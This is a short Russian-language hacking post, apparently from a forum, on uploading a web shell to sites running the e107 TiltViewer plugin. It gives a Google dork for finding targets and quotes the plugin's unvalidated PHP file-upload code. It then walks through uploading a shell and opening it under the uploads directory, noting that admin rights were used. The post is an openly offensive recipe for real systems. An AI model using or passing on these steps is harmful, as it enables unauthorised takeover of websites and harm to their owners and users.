Заливаем шельца!
гугл- inurl:e107_plugins/tiltviewer
http://[host]/[path]/e107_plugins/tiltviewer/gestion_fichiers.php

PHP код:

...// fonction upload
foreach ($_FILES["filez"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["filez"]["tmp_name"][$key];
        $name = $_FILES["filez"]["name"][$key];
        move_uploaded_file($tmp_name, "./uploads/$name");
        
       Header("Location: ".$_SERVER['PHP_SELF'].""); 
 
    }... 


Выбираем наш шелл и Send the files
http://[host]/[path]/e107_plugins/tiltviewer/uploads/name_our_shell.php

ps заходил под админом и тогда лил, хоть и нужны права но мб пригодиться

др. способы заливки